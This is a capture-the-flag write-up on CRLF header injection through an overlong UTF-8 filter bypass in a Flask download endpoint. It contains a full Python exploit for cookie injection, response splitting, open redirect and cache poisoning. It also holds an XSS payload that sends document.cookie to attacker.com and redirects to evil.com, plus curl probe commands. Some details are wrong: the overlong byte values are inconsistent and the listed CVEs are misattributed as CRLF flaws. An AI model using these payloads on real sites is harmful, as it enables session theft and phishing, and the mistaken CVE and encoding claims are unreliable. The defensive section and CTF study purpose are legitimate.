CRLF Injection - HTTP Header Injection via Overlong UTF-8 Encoding
Challenge Type: Web Security
Difficulty: Medium
Tags: CRLF Injection, HTTP Response Splitting, Header Injection, UTF-8 Bypass
Challenge Description
This challenge demonstrates a critical CRLF (Carriage Return Line Feed) injection vulnerability in a file download endpoint. The application reflects user-supplied filename parameter in the Content-Disposition header without proper sanitization. While basic CRLF sequences are filtered, the application is vulnerable to overlong UTF-8 encoding bypass techniques.
Challenge Overview
The vulnerability enables multiple attack vectors: - HTTP Header Injection: Inject arbitrary HTTP headers - Cookie Injection: Set malicious cookies for session hijacking - Response Splitting: Control the entire HTTP response body - XSS via Headers: Inject JavaScript through custom headers - Open Redirect: Force browser redirects via Location header - Cache Poisoning: Manipulate cache behavior
Application Architecture
Normal File Download Flow
Client Server
| |
|---- GET /download?filename=test.pdf ------>|
| |
|<--- HTTP/1.1 200 OK ------------------------|
| Content-Disposition: attachment; |
| filename="test.pdf" |
| Content-Type: application/octet-stream |
| [file content] |
HTTP Response Structure
HTTP/1.1 200 OK ← Status line
Content-Disposition: attachment; ← Headers
filename="document.pdf" ← Controllable!
Content-Type: application/octet-stream
Content-Length: 1234
← CRLF separates headers from body
[Binary file content] ← Response body
The Vulnerability
The server reflects the filename parameter without proper CRLF sanitization:
# Vulnerable server code (simplified)
from flask import Flask, request, Response
app = Flask(__name__)
@app.route('/download')
def download():
filename = request.args.get('filename', 'default.txt')
# WEAK FILTERING: Only blocks literal %0d%0a
if '%0d%0a' in filename.lower():
return "Invalid filename", 400
# VULNERABLE: Reflects filename directly into header
headers = {
'Content-Disposition': f'attachment; filename="{filename}"'
# ↑ INJECTION POINT
}
return Response("File content here", headers=headers)
Why This is Vulnerable:
1. Insufficient Filtering: Only blocks %0d%0a (standard URL-encoded CRLF)
2. No UTF-8 Validation: Doesn't detect overlong UTF-8 encodings
3. Direct Header Injection: User input becomes part of HTTP headers
4. Response Splitting Possible: Can inject entire response body
CRLF Injection Techniques
Standard CRLF (Blocked)
%0d%0a = CR LF (blocked by filter)
Overlong UTF-8 Encoding (Bypass)
%c0%0d = Overlong encoding for CR (0x0D)
%c0%0a = Overlong encoding for LF (0x0A)
How Overlong UTF-8 Works:
UTF-8 allows multiple byte representations for the same character. While valid UTF-8 uses the shortest form, some parsers accept longer forms:
Character: CR (Carriage Return = 0x0D)
Standard: 0x0D (1 byte)
Overlong: 0xC0 0x8D (2 bytes) - invalid but sometimes accepted
Character: LF (Line Feed = 0x0A)
Standard: 0x0A (1 byte)
Overlong: 0xC0 0x8A (2 bytes) - invalid but sometimes accepted
Simplified overlong bypass:
%c0%0d = Server decodes to CR (bypasses %0d check)
%c0%0a = Server decodes to LF (bypasses %0a check)
Solution Walkthrough
Phase 1: Understanding HTTP Headers
HTTP response format:
HTTP/1.1 200 OK
Header1: Value1
Header2: Value2
[CRLF - blank line]
[Body content]
To inject a new header, we need:
filename=legit.pdf[CRLF]X-Injected-Header: malicious
Phase 2: Bypassing CRLF Filters
Standard payload (blocked):
# URL: /download?filename=test.pdf%0d%0aX-Injected: value
# Result: 400 Bad Request (filter blocks %0d%0a)
Overlong UTF-8 bypass (works):
# URL: /download?filename=test.pdf%c0%0d%c0%0aX-Injected: value
# Result: 200 OK with injected header!
CRLF_BYPASS = "%c0%0d%c0%0a"
Phase 3: Cookie Injection Attack
Inject a session cookie to hijack authentication:
import requests
BASE_URL = "http://h4k0b.cyhub.ctf.am:5575"
CRLF = "%c0%0d%c0%0a"
def inject_cookie(cookie_name, cookie_value):
"""Inject Set-Cookie header"""
payload = f"x{CRLF}Set-Cookie: {cookie_name}={cookie_value}"
url = f"{BASE_URL}/download?filename={payload}"
resp = requests.get(url, allow_redirects=False)
print(f"Status: {resp.status_code}")
print(f"Headers: {dict(resp.headers)}")
if 'Set-Cookie' in resp.headers:
print(f"[+] Successfully injected cookie: {resp.headers['Set-Cookie']}")
# Example: Inject admin session
inject_cookie("session", "admin_token_12345")
Attack Result:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x
Set-Cookie: session=admin_token_12345"
Content-Type: application/octet-stream
[content]
Phase 4: HTTP Response Splitting
Inject entire response body to deliver malicious content:
def response_splitting(html_body):
"""
Inject complete HTML response
Double CRLF ends headers and starts body
"""
# Inject: [CRLF][CRLF]<html>...</html>
payload = f"x{CRLF}{CRLF}{html_body}"
url = f"{BASE_URL}/download?filename={payload}"
return url
# Example: Inject XSS payload
malicious_html = """
<html>
<body>
<h1>You've been pwned!</h1>
<script>
// Steal cookies
fetch('http://attacker.com/steal?c=' + document.cookie);
// Redirect to phishing page
window.location = 'http://evil.com/fake-login';
</script>
</body>
</html>
"""
exploit_url = response_splitting(malicious_html)
print(f"Exploit URL: {exploit_url}")
Attack Result:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x
<html><body><h1>Pwned!</h1><script>...</script></body></html>"
[original content ignored]
Browser renders the injected HTML instead of downloading file.
Phase 5: Open Redirect Attack
Inject Location header to redirect victims:
def open_redirect(redirect_url):
"""Inject Location header for redirection"""
payload = f"x{CRLF}Location: {redirect_url}"
url = f"{BASE_URL}/download?filename={payload}"
return url
# Example: Redirect to phishing site
phishing_url = open_redirect("http://evil.com/fake-bank-login")
print(f"Phishing URL: {phishing_url}")
Attack Flow:
1. Attacker sends victim malicious URL
2. Victim clicks: download?filename=x%c0%0d%c0%0aLocation: http://evil.com
3. Server responds with Location header
4. Browser redirects to attacker's site
5. Victim enters credentials on fake login page
Phase 6: Cache Poisoning
Inject cache control headers to persist attack:
def cache_poisoning():
"""Inject cache headers to persist malicious response"""
payload = f"x{CRLF}Cache-Control: public, max-age=31536000{CRLF}X-Cache-Status: HIT"
url = f"{BASE_URL}/download?filename={payload}"
resp = requests.get(url)
if 'Cache-Control' in resp.headers:
print("[+] Successfully poisoned cache!")
print(f" Cache will persist for: {resp.headers['Cache-Control']}")
Complete Exploit Code
#!/usr/bin/env python3
"""
CRLF Injection - HTTP Header Injection Exploit
Demonstrates overlong UTF-8 bypass technique
"""
import requests
import urllib.parse
BASE_URL = "http://h4k0b.cyhub.ctf.am:5575"
# Overlong UTF-8 encoding for CRLF
CRLF_BYPASS = "%c0%0d%c0%0a"
def inject_header(header_name, header_value):
"""Generate exploit URL to inject a custom header"""
payload = f"x{CRLF_BYPASS}{header_name}: {header_value}"
return f"{BASE_URL}/download?filename={payload}"
def inject_cookie(cookie_name, cookie_value):
"""Generate exploit URL to inject a Set-Cookie header"""
return inject_header("Set-Cookie", f"{cookie_name}={cookie_value}")
def inject_multiple_headers(headers):
"""Generate exploit URL to inject multiple headers"""
payload = "x"
for name, value in headers.items():
payload += f"{CRLF_BYPASS}{name}: {value}"
return f"{BASE_URL}/download?filename={payload}"
def response_splitting(html_body):
"""
HTTP Response Splitting - inject entire response body
Double CRLF to end headers and start body
"""
payload = f"x{CRLF_BYPASS}{CRLF_BYPASS}{html_body}"
return f"{BASE_URL}/download?filename={payload}"
def test_exploit(url, description):
"""Test an exploit URL and show the response"""
print(f"\n{'='*60}")
print(f"[*] {description}")
print(f"[*] URL: {url[:100]}...")
print("-" * 60)
try:
resp = requests.get(url, allow_redirects=False, timeout=10)
print(f"[+] Status: {resp.status_code}")
print(f"[+] Headers:")
for key, value in resp.headers.items():
print(f" {key}: {value[:80]}")
if resp.text:
print(f"[+] Body preview: {resp.text[:200]}...")
except Exception as e:
print(f"[-] Error: {e}")
def main():
print("""
╔══════════════════════════════════════════════════════════╗
║ CRLF Injection Exploit - HTTP Header Injection ║
║ Bypass: %c0%0d%c0%0a (overlong UTF-8 encoding) ║
╚══════════════════════════════════════════════════════════╝
""")
# Exploit 1: Cookie Injection
url1 = inject_cookie("session", "admin")
test_exploit(url1, "Cookie Injection - Session Hijacking")
# Exploit 2: Custom Header Injection
url2 = inject_header("X-XSS-Payload", "<script>alert('XSS')</script>")
test_exploit(url2, "Custom Header Injection")
# Exploit 3: Cache Poisoning
url3 = inject_multiple_headers({
"X-Cache-Status": "HIT",
"Cache-Control": "public, max-age=31536000"
})
test_exploit(url3, "Cache Poisoning Headers")
# Exploit 4: HTTP Response Splitting
malicious_html = "<html><body><h1>Pwned!</h1></body></html>"
url4 = response_splitting(malicious_html)
test_exploit(url4, "HTTP Response Splitting - Full Body Injection")
# Exploit 5: Open Redirect
url5 = inject_header("Location", "http://evil.com")
test_exploit(url5, "Open Redirect via Location Header")
print("\n" + "="*60)
print("[*] All exploit URLs generated successfully")
print("="*60)
if __name__ == "__main__":
main()
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- requests: HTTP client library
- urllib.parse: URL encoding utilities
Exploit Execution
python crlf_exploit.py
Expected Output
╔══════════════════════════════════════════════════════════╗
║ CRLF Injection Exploit - HTTP Header Injection ║
║ Bypass: %c0%0d%c0%0a (overlong UTF-8 encoding) ║
╚══════════════════════════════════════════════════════════╝
====================================================
[*] Cookie Injection - Session Hijacking
----------------------------------------------------
[+] Status: 200
[+] Headers:
Content-Disposition: attachment; filename="x
Set-Cookie: session=admin"
[+] Successfully injected cookie!
Key Takeaways
CRLF Injection Impact
- Session Hijacking: Inject Set-Cookie to steal sessions
- XSS Attacks: Inject malicious scripts via headers or body
- Cache Poisoning: Persist attacks on CDN/proxy layers
- Open Redirect: Phishing attacks via Location header
- Response Splitting: Complete control over HTTP response
Defense Mechanisms
Vulnerable Code Patterns
# BAD: Direct string concatenation
headers['Content-Disposition'] = f'attachment; filename="{user_input}"'
# BAD: Insufficient filtering
if '%0d%0a' in filename:
return error() # Doesn't catch UTF-8 variants
# BAD: Blacklist approach
filename = filename.replace('\r', '').replace('\n', '')
# Doesn't handle encoded forms
Secure Code Patterns
# GOOD: Use framework's built-in header setting
from flask import send_file
return send_file(filepath, as_attachment=True, download_name=safe_filename)
# GOOD: Strict whitelist validation
import re
def sanitize_filename(filename):
# Only allow alphanumeric, dash, underscore, dot
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
raise ValueError("Invalid filename")
return filename
# GOOD: Encode/escape special characters
from werkzeug.utils import secure_filename
safe_name = secure_filename(user_provided_filename)
# GOOD: Content-Security-Policy prevents injected scripts
response.headers['Content-Security-Policy'] = "default-src 'self'"
Defense Recommendations
- Use Framework Functions
- Never manually construct HTTP headers
-
Use built-in functions like Flask's
send_file() -
Input Validation ```python import re
def validate_filename(filename): # Whitelist: only safe characters if not re.match(r'^[a-zA-Z0-9._-]{1,255}$', filename): raise ValueError("Invalid filename format")
# Block path traversal
if '..' in filename or '/' in filename:
raise ValueError("Path traversal detected")
return filename
```
- Output Encoding ```python from urllib.parse import quote
# Encode filename for header safe_filename = quote(user_filename) response.headers['Content-Disposition'] = f'attachment; filename="{safe_filename}"' ```
-
Security Headers
python # Prevent XSS from injected headers response.headers['Content-Security-Policy'] = "default-src 'self'" response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['X-Frame-Options'] = 'DENY' -
Web Application Firewall (WAF)
- Detect CRLF patterns including encoded variants
-
Block requests with suspicious header characters
-
HTTP Strict Transport Security (HSTS)
python response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
Testing for CRLF Vulnerabilities
# Test standard CRLF
curl "http://target.com/download?filename=test%0d%0aX-Test:+injected"
# Test overlong UTF-8
curl "http://target.com/download?filename=test%c0%0d%c0%0aX-Test:+injected"
# Test double encoding
curl "http://target.com/download?filename=test%250d%250aX-Test:+injected"
# Test Unicode variants
curl "http://target.com/download?filename=test%e5%98%8a%e5%98%8dX-Test:+injected"
Real-World Examples
CVE References
- CVE-2020-5902: F5 BIG-IP CRLF injection leading to RCE
- CVE-2019-11043: PHP-FPM CRLF leading to code execution
- CVE-2016-4437: Apache Shiro CRLF injection
Attack Scenarios
-
Social Engineering + Open Redirect
Email: "Click here to download your invoice" Link: legitimate-site.com/download?file=invoice.pdf%c0%0d%c0%0aLocation: evil.com -
Web Cache Poisoning
Attacker poisons CDN cache with malicious response All users receive malicious content for hours/days -
Session Fixation
Attacker sets known session ID via Set-Cookie injection Victim logs in with fixed session Attacker hijacks authenticated session